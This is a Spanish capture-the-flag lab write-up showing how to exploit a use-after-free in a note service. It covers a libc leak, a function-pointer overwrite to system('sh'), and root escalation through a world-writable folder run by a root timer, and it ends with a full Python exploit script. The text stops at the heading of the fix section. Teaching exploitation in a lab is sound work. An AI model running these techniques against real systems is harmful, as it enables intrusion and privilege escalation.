BeriaBox Solución Volver al laboratorio →

Support Desk · laboratorio 002 · difícil

De una fuga de memoria a root.

Un use-after-free de manual: el servicio libera el buffer y sigue usando el puntero. Sin la fuga del unsorted bin no hay nada que hacer; con ella, la cadena son veinte líneas de Python.

En una línea. free no anula el puntero, así que puedes leer memoria liberada (fuga de libc) y escribir en ella un struct task falso cuyo puntero de función apunta a system; la llamada pasa el propio buffer como argumento, y dentro del buffer está "sh".

1 · Reconocimiento

El panel te da una IP y un puerto: nc <ip> 1337. El servicio se presenta solo y lista sus comandos.

supportd 1.0 - consola de notas
comandos: open <size> | write <idx> <hex> | read <idx> | free <idx> | run <idx> | quit

Antes de explotarlo no tienes el binario: es un servicio en red y todo lo que deduzcas tiene que salir del protocolo. (Una vez dentro está en /usr/local/sbin/supportd, modo 0755 — el reto es llegar, no esconderlo.) Los datos van y vienen en hexadecimal, así que puedes mover bytes arbitrarios sin pelear con el terminal.

open 32        -> ok 0
write 0 4142   -> ok 2
read 0         -> 41420000... (los 32 bytes del bloque)

2 · El fallo

La pista está en lo que no hace free: libera el buffer pero deja la entrada de la tabla apuntando a él.

open 32      -> ok 0
free 0       -> ok
read 0       -> sigue respondiendo: el puntero está vivo

Y hay un segundo detalle: cada nota se interpreta como una tarea cuando usas run.

struct task {
    char name[16];
    void (*fn)(char *);   /* recibe el propio buffer */
};

En una nota recién creada, name vale "note-0" y fn apunta a la función que imprime el nombre. Si reescribes ese bloque, reescribes el puntero de función.

3 · La fuga

El binario es PIE y la libc está aleatorizada: sin una dirección real, el puntero que escribas no vale nada. La buena noticia es que el montón te la regala si liberas un bloque mayor de 0x410 bytes y no dejas que se fusione con el top chunk.

En esta imagen (Debian 13, glibc 2.41) la distancia es fija: main_arena+96 = libc + 0x1e5b20, y system = libc + 0x53090. Con una sola lectura ya tienes las dos. Los dos valores están comprobados contra la libc que corre en la máquina.

Si liberases solo un bloque de tamaño de tcache (< 0x410), lo que leerías sería el puntero ofuscado por safe-linking — otro ejercicio, pero no este.

4 · El control

El bloque sigue libre y sigue siendo tuyo: write escribe sobre memoria liberada. Coloca un struct task a medida y llama a run.

payload = b"sh\x00" + b"A" * 13 + p64(system)
#           name[16]            ^ fn en el offset 16

Al ejecutar run 0, el servicio hace t->fn(notes[0]->data): el primer argumento (RDI) es el propio buffer, o sea la cadena "sh". Es decir, system("sh") con la entrada y la salida del socket. Shell como support.

5 · La escalada

Dentro de la máquina, la segunda evidencia está en /root/root.txt. El camino aparece mirando lo que el sistema ejecuta solo:

systemctl list-timers --all | grep support
cat /usr/local/bin/support-tasks.sh

Hay un timer que cada minuto lanza, como root, todos los *.sh que encuentre en /var/spool/support-tasks — una carpeta que escribe cualquiera. Deja un script y espera:

echo 'cat /root/root.txt > /home/support/root.txt; chmod 644 /home/support/root.txt' \
  > /var/spool/support-tasks/x.sh
sleep 70; cat /home/support/root.txt

6 · Exploit completo

Todo junto, sin dependencias más allá de pwntools opcional (aquí va con la librería estándar):

import socket, struct, time, re

HOST, PORT = "<ip>", 1337
LIBC_MAIN_ARENA = 0x1e5b20   # main_arena+96
LIBC_SYSTEM     = 0x53090

s = socket.create_connection((HOST, PORT), timeout=10)
s.settimeout(0.5)

def drain(t=0.8):
    s.settimeout(t); out = b""
    while True:
        try: chunk = s.recv(65536)
        except socket.timeout: break
        if not chunk: break
        out += chunk
    return out

def cmd(line, t=0.8):
    s.sendall(line.encode() + b"\n"); time.sleep(0.15); return drain(t)

drain()
cmd("open 2048")          # bloque grande
cmd("open 32")            # guarda: evita fusionarse con el top
cmd("free 0")             # queda en unsorted bin, con fd = main_arena+96

leak = int.from_bytes(bytes.fromhex("".join(c for c in cmd("read 0", 2).decode()
                                            if c in "0123456789abcdef")[:16]), "little")
libc = leak - LIBC_MAIN_ARENA
print("libc base:", hex(libc))

cmd("write 0 " + (b"sh\x00" + b"A"*13 + struct.pack("<Q", libc + LIBC_SYSTEM)).hex())
s.sendall(b"run 0\n"); time.sleep(1.2)          # system("sh")

s.sendall(b"cat /home/support/flag.txt\n"); time.sleep(1)
s.sendall(b"echo 'cat /root/root.txt > /home/support/r.txt; chmod 644 /home/support/r.txt' "
          b"> /var/spool/support-tasks/x.sh\n"); time.sleep(75)
s.sendall(b"cat /home/support/r.txt\n"); time.sleep(1)
print(drain(2).decode(errors="replace"))

Los offsets son los de esta imagen. Si compilas tu propio servicio con otra libc, sácalos con readelf -sW libc.so.6 | grep system; el de main_arena cambia con cada versión.

7 · Cómo se arregla